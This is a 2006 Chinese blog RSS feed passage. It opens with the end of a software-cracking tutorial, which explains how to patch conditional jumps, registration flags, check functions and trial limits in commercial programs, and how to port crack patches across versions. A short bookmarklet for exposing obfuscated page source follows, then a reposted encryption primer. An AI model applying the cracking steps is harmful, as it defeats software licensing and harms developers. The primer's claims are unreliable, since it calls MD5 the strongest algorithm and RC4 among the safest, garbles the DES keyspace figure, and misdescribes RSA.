eax,00000001<br />jz ... <br /><br />...还有几种与前面的几种类似，不一一举例。 <br /><br />7，最好能分析一下程序的结构和流程。 <br /><br />到这里，找准爆破点应该没问题了。 <br /><br />三，如何爆破。<br />当你找准爆破点后，你会发现有很多种爆破的方法都可以达目的。<br />1，修改转移语句。<br />我一般这样改：<br />不需要跳，我就把74XX,75xx,0F84xxxxxxxx,0F85xxxxxxxx...中的xx,xxxxxxxx（偏移量）改为00，00000000。<br />需要跳，我就把74，75改为EB,把0F84,0F85改为90E9。这可避免万一你有正确的注册码反而会出错的事情发生。<br />2，修改注册标志变量，如变量为1则为注册，为0则为未注册，那么你只要搜索所有将该变量置0的语句改为置1就行了。<br />mov eax, 00000000<br />mov dword ptr [00401078], eax<br />这种好改。但大多是这样：<br />xor eax, eax<br />mov dword ptr [00401078], eax<br />这种有些难度，它不是简单地送值，而是异或置0。xor eax, eax的机器码是33C0,只有两个字节，而mov eax, 00000001的机器码是B801000000有五个字节，这可不好玩。我们可这样改，把CC30改为B001，B001是什么？就是mov al, 01啦！一般情况下这样改都不会有问题。<br />3，修改判断函数CALL。<br />如果这个函数只是判断注册是否正确，并返回AX的值，我一般会这样改。在CALL入口处就改为B801000000C3，就是<br />mov eax, 00000001<br />ret<br />这样可少执行代码，并且不访问注册表。甚至可把后面死码都置为00。<br />4，修改次数限制。<br />我在爆破亿虎软件时，我上面的方法都用了，看上都象正式的了，什么注册提示都没了，但用起来还是有30的限制。我实在分析不出暗桩在哪儿，我就只好改这里了。当然不是改次数。改判断使程序一直认为低于30就行了。 <br /><br />四，对于爆破的几点认识。<br />1，爆破不是最简单的。<br />如果一个软件采用明码比较，不管它有没有加壳，都可用OllyDbg之类的动态调试工具在很短的时间内获得，并做成内存注册机，速度之快有时令人惊讶，我曾五分钟之内找到注册码。爆破往往要试N次，改N处才可成功，还要测试。<br />2，爆破时要注重分析编程者的思路和判断机制，这样才可以学他人的长处，了解他的不足。这样才可在初级阶段学到一些有用技术。我觉得这一点比分析算法更重要。作者在升级或作同类软件时，他的注册算法肯定都是不一样的，而他的流程和判断机制基本都是一样的。我遇到一个软件要求注册但压根儿就没输入注册码的地方。它是通过注册文件注册的。<br />3，爆破还可把有不作用的功能屏蔽掉，做真正的完美版，如上网自动更新等等。当然高手还可加些功能，像我们用的Win32DASM 10.0 <br /><br />五，几点其它经验。<br />1，在Win32DASM中，右键双击CALL上面的调用地址，就可转到被调用处。同样右键双击转移入口上面的地址，就可转到开始跳的那一句，这功能相当有用哟！<br />2，搜索时可用如下的表示：<br />X, 0000001D       （因为程序不一定只用EAX）<br />+00000050]<br />只取一部分特征值有想不到的妙处，并且一般不会漏。<br />3，一个击破，各各击破。对于多产作者或同一公司的不同产品一般都有效，对于以后的升级版本也一样。<br />4，拿来主义。<br />我的第一个破解就是借来的。 DivX Subtitle Displayer是一个很小很实用的播放软件。前几月我一直用它看电影，我用的是4.44破解补丁，后来网上出了4.5。我就用FC32比较破解前后差异，然后再找到修改点，提取该点的特征值。再在4.5中搜索该值，运气好得很，就一处，改它！再运行！成功！再也没有烦人的NAG。从此踏上了我的爆破手生涯。作为初学者我建议不要用此种方法。 <br /><br /><br />爆破不苦码字苦！以上高手见了也许不屑一顾，但作为像我一样的菜鸟应该有一定的帮助。由于我是边想边码，没有准备很详细的例子。所以不到之处和错误一定请各位指正。不然有谁因我而误入歧途我实担当不起。</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/torch/aggbug/9428.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-04-20 21:03 <a href="http://www.cnitblog.com/torch/articles/9428.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>破解所谓的网页源代码加密</title><link>http://www.cnitblog.com/torch/articles/9427.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Thu, 20 Apr 2006 12:59:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/9427.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/9427.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/9427.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/9427.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/9427.html</trackback:ping><description><![CDATA[文章作者：zzzevazzz <br /><br />在地址栏或按Ctrl+O，输入代码：<br /><br />javascript:s=document.documentElement.outerHTML;document.write('&lt;body&gt;&lt;/body&gt;');document.body.innerText=s; <br /><br /><br />源代码就出来了。不论加密如何复杂，最终都要还原成浏览器可以解析的html代码，而documentElement.outerHTML正是最终的结果。<img height="1" src="http://cnxhacker.net/hits.asp?id=1241" width="1" border="0" /><img src ="http://www.cnitblog.com/torch/aggbug/9427.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-04-20 20:59 <a href="http://www.cnitblog.com/torch/articles/9427.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>加密的故事</title><link>http://www.cnitblog.com/torch/articles/9426.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Thu, 20 Apr 2006 12:53:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/9426.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/9426.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/9426.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/9426.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/9426.html</trackback:ping><description><![CDATA[
		<p>（转帖）<br />一. 加密：历史悠久的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">技术</font></a></p>
		<p>任何一个<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>专家提起如今信息<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">技术</font></a>的<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>保护措施，都不可避免要涉及一个名词：加密（Encrypt）。的确，纵观当今信息世界，加密离我们并不遥远，从小小的个人密码，到重要机密文件，无一不是经过加密后的产物。加密<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">技术</font></a>已经渗透了整个信息时代，任何人都不可避免的接触到——即使你根本不知道“加密”是什么。</p>
		<p>许多人一提起“加密”，都会有一种“畏惧”的心理，以为加密<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">技术</font></a>绝对是“新手勿近”的，其实不然，加密其实一直伴你左右，回忆一下儿时智力测试的题目：“007收到遇害同事的字条，上面写着4FEFKKILJK81IP，根据事先约定，已知c=3，q=H，问该同事要传递什么信息给007？”这到题目放到信息<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">技术</font></a>方面来看待，就是一条经过简单的替换字符算法加密的字符串，它把原字符改为使用相对应的数字排序来替代，从而产生了一组“没有意义”的字符组合，但是因为我们知道c=3等条件，所以稍加排序即可得到原句：“Do not trust Hary”，这个过程也可称为“解密”（Decrypt）。有读者也许会不屑一顾，就这么简单也算加密？别忘了，我们是在已经知道c=3的前提下完成的“解密”，换句话说，也就是已经知道了“算法”，否则光凭以上一组不知所云的字符串，谁能解开？</p>
		<p>“就不让你直接看到信息”——与之相似的思路加以扩充，便成了“加密”的来由；而“我偏要看到你不想让我看的信息”的思想，则发展出了“解密”<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">技术</font></a>。加密和解密从诞生开始，就是一对不可分割的兄弟。</p>
		<p>加密作为保障<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a><a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>的一种方式，早就在历史上发挥了悠久的作用，从远古时代开始，人们就已经在采用一种如今称为“编码”（Code）的方法用于保护文字信息。最早影响世界的加密<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">技术</font></a>诞生于战争年代，由德国人发明，用于传递攻击信息；而最早影响世界的解密<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">技术</font></a>，也诞生于战争年代，由英美开发出来破译德国人的攻击信息。正是战争让加解密<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">技术</font></a>不断改进发展，直到现在，仍然在为信息时代的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a><a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>而<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">服务</font></a>。</p>
		<p>说了这么多，也该为加密<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">技术</font></a>做一个系统的概念了：所谓“加密”，就是对原内容为明文的文件或<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>按某种算法进行处理，使其成为不可读的代码，经过这样处理的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>通常称为“密文”，密文只能在经过相对应的反向算法处理后才能恢复原来的内容，通过这样的途径来达到保护<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>不被非法人窃取、阅读的目的，而将该编码信息转化为其原来<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>的过程，就是“解密”。</p>
		<p>无论哪一个国家，都会有专家专注于加密<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">技术</font></a>的研究，因此诞生了许多算法，并且在按照生物界的“弱肉强食”定律发展完善着。其中，强度高（不容易被解密）的算法得以保留发展，强度低的算法最终被时间淘汰，除此之外，也存在着一部分未公开的私人算法，它们共同担任着维护<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a><a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>的重任。通常我们提及加密<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">技术</font></a>时所说的“MD5加密”、“SHA-1加密”、“RSA加密”等，其实就是在说它们所采用的算法。采用一个高强度的算法来加密你的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>，将会让你的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a><a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>得到更高的保护。</p>
		<p>
				<br />二. 算法：关键的抉择</p>
		<p>“我想要葡萄，还想要橙子，可是我只能选择其中一样，我该选哪个？”如果要为自己的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>加密，我们就不得不面对这样一个选择，因为世界上的算法不止一个，还各有特性，究竟什么算法才是最适合的呢？于是，我们逐渐陷入一个选择的泥潭。因此，在选择使用哪种算法作为你的加密基础前，就需要对各种常见的算法原理有个了解……</p>
		<p>1.基于“消息摘要”的算法</p>
		<p>“消息摘要”（Message Digest）是一种能产生特殊输出格式的算法，这种加密算法的特点是无论用户输入什么长度的原始<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>，经过计算后输出的密文都是固定长度的，这种算法的原理是根据一定的运算规则对原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>进行某种形式的提取，这种提取就是“摘要”，被“摘要”的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>内容与原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>有密切联系，只要原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>稍有改变，输出的“摘要”便完全不同，因此基于这种原理的算法便能对<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>完整性提供较为健全的保障。但是，由于输出的密文是提取原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>经过处理的定长值，所以它已经不能还原为原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>，即消息摘要算法是“不可逆”的，理论上无法通过反向运算取得原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>内容，因此它通常只能被用来做<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>完整性验证，而不能作为原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>内容的加密方案使用，否则谁也无法还原。尽管如此，“消息摘要”算法还是为密码学提供了健全的防御体系，因为连专家也无法根据拦截到的密文还原出原来的密码内容。因为这个特性，“消息摘要”算法产生的密文被称为“摘要”。</p>
		<p>如今常用的“消息摘要”算法经历了多年验证发展而保留下来的强者，分别是MD2、MD4、MD5、SHA、SHA-1/256/383/512等，其中最广泛应用的是基于MD4发展而来的MD5算法。</p>
		<p>⑴.MD5算法</p>
		<p>MD5算法的全称是“消息摘要算法”（Message-Digest Algorithm version.5），它是当前公认的强度最高的加密算法。出现在MD5之前的是MD2和MD4，间隔分别只有一年。虽然三者的算法结构多少有点相似，但是由于MD2诞生于8位计算机的时代，因此它的设计与后来出现的MD4、MD5完全不同，因此不能进行简单的替代。然而，无论是MD2、MD4还是MD5，它们都是在获得一个随机长度信息的基础上产生一个128位信息摘要的算法。</p>
		<p>MD2算法是Rivest在1989年开发的，它很慢（因为是为8位机器设计的），但相当<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>。在这个算法中，首先要对信息进行<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>补位，使信息的字节长度是16的倍数。然后，以一个16位的检验和追加到信息末尾，并且根据这个新产生的信息计算出散列值（Hash），最终运算结果即为类似于“d41d8cd98f00b204e9800998ecf8427e”的摘要，而且这个值是唯一的。</p>
		<p>为了加强算法的<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>性，Rivest在1990年又开发出MD4算法。MD4算法同样需要填补信息以确保信息的字节长度加上448后能被512整除（信息字节长度除以512的余数为448）。然后，一个以64位二进制表示的信息的最初长度被添加进来。信息被处理成512位Merkle迭代结构的区块，而且每个区块要通过三个不同步骤的处理，最终生成摘要。</p>
		<p>然而MD4存在一个严重<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">漏洞</font></a>，那就是“冲突”（Collisions）。“冲突”是所有基于“摘要”的算法都要面对的最大问题，由于它们是根据“不完整”的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>内容产生的密文，如果运算过程存在暇癖，就会在处理某些不同<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>时产生相同的摘要，这后果可是致命的，因为“摘要”算法的原则是原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>不可还原，因此验证的过程并不同于简单加密运算里的“<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>还原匹配”，验证端同样要根据原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>（甚至连原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>都没有，而仅仅是最初保存的摘要）进行运算得到的摘要作为凭据与客户端发来的摘要进行匹配检验，如果两段字符串完全相同，即视为验证通过。这是在“摘要算法”理论上“不可逆且唯一”的基础上采用的<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>检验方法，验证方可以不需要索取原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>，而只要拥有一个有效的摘要即可完成对客户端的身份确认，大大减少了原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>被入侵者掌握的几率。</p>
		<p>但是这样的验证的方式就产生了一个“看似不可能”的缺陷：假如入侵者能伪造出一段<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>，使之能在通过“摘要”计算后产生的摘要与真正的原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>产生的摘要一样，那么入侵者便能冒充原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>持有者通过身份验证。这在理论上是不可能的，然而现实总是不会让人那么愉快，由于算法不可避免的出现了<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">漏洞</font></a>，使得这个设想成为了事实，这就是“冲突”的来源：某两个或多个<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>产生的摘要出现了完全雷同的现象，使得用户能在输入了即使不是原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>的密码后能顺利通过验证，因为身份检验程序发现原本储存的用户信息的签名<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>与接收到的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>的运算结果完全一致，于是认为请求方为合法用户，就给予通过了。这种运算结果相同的现象，就是“冲突”。</p>
		<p>“冲突”会造成非常危险的后果，因此MD4被无情的抛弃了，取而代之的是在MD4基础上加强了算法的MD5，它在MD4的基础上增加了“<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>带”（Safety Belts）的概念，虽然MD5比MD4稍微慢一些，但却大大减小了冲突的发生率，虽然很早以前就有专家发现MD5算法在专门用于寻找“冲突”的机器上平均每24天就会产生一个“冲突”，但是对于一般应用来说，这种几率已经非常低微，因此MD5至今仍然是最强健的加密算法。</p>
		<p>有读者也许会问，既然MD5是不可逆的，那么<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">网络</font></a>上存在的那些“MD5密码<a href="http://cnxhacker.net/article/sort/38_1.html"><font color="#002c99">破解</font></a>工具”又是什么回事？其实，那并不是<a href="http://cnxhacker.net/article/sort/38_1.html"><font color="#002c99">破解</font></a>，至今MD5还没能被完全<a href="http://cnxhacker.net/article/sort/38_1.html"><font color="#002c99">破解</font></a>过，虽然曾经有过一篇报道称中国某教授<a href="http://cnxhacker.net/article/sort/38_1.html"><font color="#002c99">破解</font></a>了MD5，但是后来这个结论又被推翻了。<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">网络</font></a>上流传的那些工具纯粹是依赖于“运气+机器性能+耐心”的产品而已，它们的原理是“穷举”，即程序在一定的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>范围内产生一系列<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>组合进行MD5运算，再把运算结果与获取的摘要进行比较，如果两者相同，就被定义为“<a href="http://cnxhacker.net/article/sort/38_1.html"><font color="#002c99">破解</font></a>”了。这只是一种穷举法而已，实际意义不大，要知道在不产生冲突的前提下生成一个与原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>完全相同的字符串要有多少运气的成分，更何况它还完全依赖于你的机器性能，如果对方密码简单如123456这样的形式，我们还可能侥幸在1分钟——1天内运算出来，但是如果对方密码是<a href="mailto:0e1WeTru9t@MD5"><font color="#002c99">0e1WeTru9t@MD5</font></a>这样的组合呢？MD5的高强度使得它如此难以<a href="http://cnxhacker.net/article/sort/38_1.html"><font color="#002c99">破解</font></a>，因此成为大众首选，许多入侵者在辛苦取得目标网站<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>库后，一看password字段都是0ca175b9c0f726a831d895e269332461的形式，第一反应都会是“MD！白干了！”</p>
		<p>⑵.SHA算法</p>
		<p>世界的发展是多元化的，尽管MD5性能如此出众，但它并不能代表唯一，世界上还同时存在着许多其它方式的高强度算法，SHA系列算法就是其中一个。</p>
		<p>SHA的中文是“<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>哈希算法”（Safe-Hash Algorithm），它有多个改进版本，也属于“摘要”算法，它能产生高达160位的摘要，SHA-1是改进了SHA算法缺陷而产生的升级版本，除此之外还有SHA-256、SHA-383、SHA-512等，提供了最高达到512位的摘要。</p>
		<p>2.“对称/非对称密钥”加密算法</p>
		<p>由于“摘要”算法加密的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>仅仅能作为一种身份验证的凭据使用，如果我们要对整个文档<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>进行加密，就不能采用这种“不可逆”的算法了，因此“密钥”算法（Key Encoding）的概念被提出，与开头提到的智力题类似，此类算法通过一个被称为“密钥”的凭据进行<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>加密处理，接收方通过加密时使用的“密钥”字符串进行解密，即双方持有的“密码”相同（对称）。如果接收方不能提供正确的“密钥”，解密出来的就不是原来的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>了。</p>
		<p>以上是“对称密钥”的概念，那么“非对称密钥”又该怎么理解呢？有人用邮箱作为比喻，任何人都可以从邮箱的信封人口塞进信件，但是取信的权力却仅仅在于持有邮箱钥匙的人的手上。这个众人皆知的信封入口就是“公钥”（Public Key），而你持有的邮箱钥匙就是“私钥”（Private Key），这种算法规定，对方给你发送<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>前，可以用“公钥”加密后再发给你，但是这个“公钥”也无法解开它自己加密的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>，即加密过程是单向的，这样即使<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>被途中拦截，入侵者也无法对其进行<a href="http://cnxhacker.net/article/sort/38_1.html"><font color="#002c99">破解</font></a>，能还原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>内容的只有“私钥”的持有者，这就是“非对称密钥”加密算法，也称为“公共密钥算法”，这两者均建立在PKI验证体系结构上。</p>
		<p>你也许会想，这两种形式加密出来的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>如果稍加耐心进行分析，一定能找到变化规律从而直接<a href="http://cnxhacker.net/article/sort/38_1.html"><font color="#002c99">破解</font></a>。这个想法没错，但是专家早就思考过这个可能性了，因此这种算法虽然是采用某个字符串作为凭据进行加密操作的，可是它可能把凭据拆分为多个不同的“子段”并进行多次运算，最终的结果就是让你难以发现变化的规律，<a href="http://cnxhacker.net/article/sort/38_1.html"><font color="#002c99">破解</font></a>也就成为了难事。</p>
		<p>基于“对称密钥”的加密算法有DES、TripleDES、RC2、RC4、RC5和Blowfish等；基于“非对称密钥”的加密算法有RSA、Diffie-Hellman等。</p>
		<p>⑴.对称密钥——DES、TripleDES算法</p>
		<p>美国国家标准局在1973年开始研究除国防部以外的其它部门的计算机系统的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>加密标准，最终选用了IBM公司设计的方案作为非机密<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>的正式<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>加密标准（DES即Data Encryption Standard）。DES满足了国家标准局欲达到的4个目的：</p>
		<p>提供高质量的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>保护，防止<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>未经授权的泄露和未被察觉的修改；<br />具有相当高的复杂性，使得破译的开销超过可能获得的利益，同时又要便于理解和掌握；<br />DES密码体制的<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>性应该不依赖于算法的保密，其<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>性仅以加密密钥的保密为基础；<br />实现经济，运行有效，并且适用于多种完全不同的应用。</p>
		<p>DES算法从诞生开始，就被各个领域广泛应用了，包括ATM柜员机、POS系统、收费站等，DES以它高强度的保密性能为大众<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">服务</font></a>，那么，它是如何工作的呢？</p>
		<p>DES算法把64位的明文输入块变为64位的密文输出块，它所使用的密钥也是64位，首先，DES把输入的64位<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>块按位重新组合，并把输出分为L0、R0两部分，每部分各长32位，并进行前后置换（输入的第58位换到第一位，第50位换到第2位，依此类推，最后一位是原来的第7位），最终由L0输出左32位，R0输出右32位，根据这个法则经过16次迭代运算后，得到L16、R16，将此作为输入，进行与初始置换相反的逆置换，即得到密文输出。</p>
		<p>DES算法的入口参数有三个：Key、Data、Mode。其中Key为8个字节共64位，是DES算法的工作密钥；Data也为8个字节64位，是要被加密或被解密的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>；Mode为DES的工作方式，有两种：加密或解密，如果Mode为加密，则用Key去把<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>Data进行加密，生成Data的密码形式作为DES的输出结果；如Mode为解密，则用Key去把密码形式的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>Data解密，还原为Data的明码形式作为DES的输出结果。在使用DES时，双方预先约定使用的“密码”即Key，然后用Key去加密<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>；接收方得到密文后使用同样的Key解密得到原<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>，这样便实现了<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>性较高的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>传输。</p>
		<p>DES算法具有极高<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>性，到目前为止，除了用穷举搜索法对DES算法进行攻击外，还没有发现更有效的办法，而56位长的密钥的穷举空间为256，这意味着如果一台计算机的速度是每一秒种检测一百万个密钥，那么它搜索完全部密钥就需要将近2285年的时间，因此DES算法是一种很可靠的加密方法。</p>
		<p>TripleDES算法又称3-DES，是DES算法的替代版本，它使用两个密钥对明文运行 DES 算法三次，从而得到 112 位有效密钥强度。TripleDES主要用于解决DES <a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">技术</font></a>的 56 位密钥的抵抗<a href="http://cnxhacker.net/article/sort/38_1.html"><font color="#002c99">破解</font></a>强度随着计算机运算速度加快而日益减弱的问题。</p>
		<p>⑵.对称密钥——RC算法</p>
		<p>RC系列算法是大名鼎鼎的RSA三人组设计的密钥长度可变的流加密算法，其中最流行的是RC4算法，RC系列算法可以使用2048位的密钥，该算法的速度可以达到DES加密的10倍左右。</p>
		<p>RC4算法的原理是“搅乱”，</p>
		<p>它包括初始化算法和伪随机子密码生成算法两大部分，在初始化的过程中，密钥的主要功能是将一个256字节的初始数簇进行随机搅乱，不同的数簇在经过伪随机子密码生成算法的处理后可以得到不同的子密钥序列，得到的子密钥序列和明文进行异或运算（XOR）后，得到密文。</p>
		<p>由于RC4算法加密采用的是异或，所以，一旦子密钥序列出现了重复，密文就有可能被<a href="http://cnxhacker.net/article/sort/38_1.html"><font color="#002c99">破解</font></a>，但是目前还没有发现密钥长度达到128位的RC4有重复的可能性，所以，RC4是目前最<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>的加密算法之一。</p>
		<p>⑶.非对称密钥——RSA算法</p>
		<p>RSA算法是最流行的公钥密码算法，使用长度可以变化的密钥。RSA是第一个既能用于<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>加密也能用于数字签名的算法。</p>
		<p>RSA算法原理如下：</p>
		<p>1.随机选择两个大质数p和q，p不等于q，计算N=pq； <br />2.选择一个大于1小于N的自然数e，e必须与(p-1)(q-1)互素。 <br />3.用公式计算出d：d×e = 1 (mod (p-1)(q-1)) 。<br />4.销毁p和q。</p>
		<p>最终得到的N和e就是“公钥”，d就是“私钥”，发送方使用N去加密<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>，接收方只有使用d才能解开<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>内容。</p>
		<p>RSA的<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>性依赖于大数分解，小于1024位的N已经被证明是不<a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a>的，而且由于RSA算法进行的都是大数计算，使得RSA最快的情况也比DES慢上倍，这是RSA最大的缺陷，因此通常只能用于加密少量<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a>或者加密密钥，但RSA仍然不失为一种高强度的算法。</p>
		<p>
				<br />三. 结语：不可忽视的<a class="Channel_KeyLink" href="http://www.cnxhacker.com/"><font color="#002c99">数据</font></a><a href="http://cnxhacker.net/article/sort/2_1.html"><font color="#002c99">安全</font></a></p>
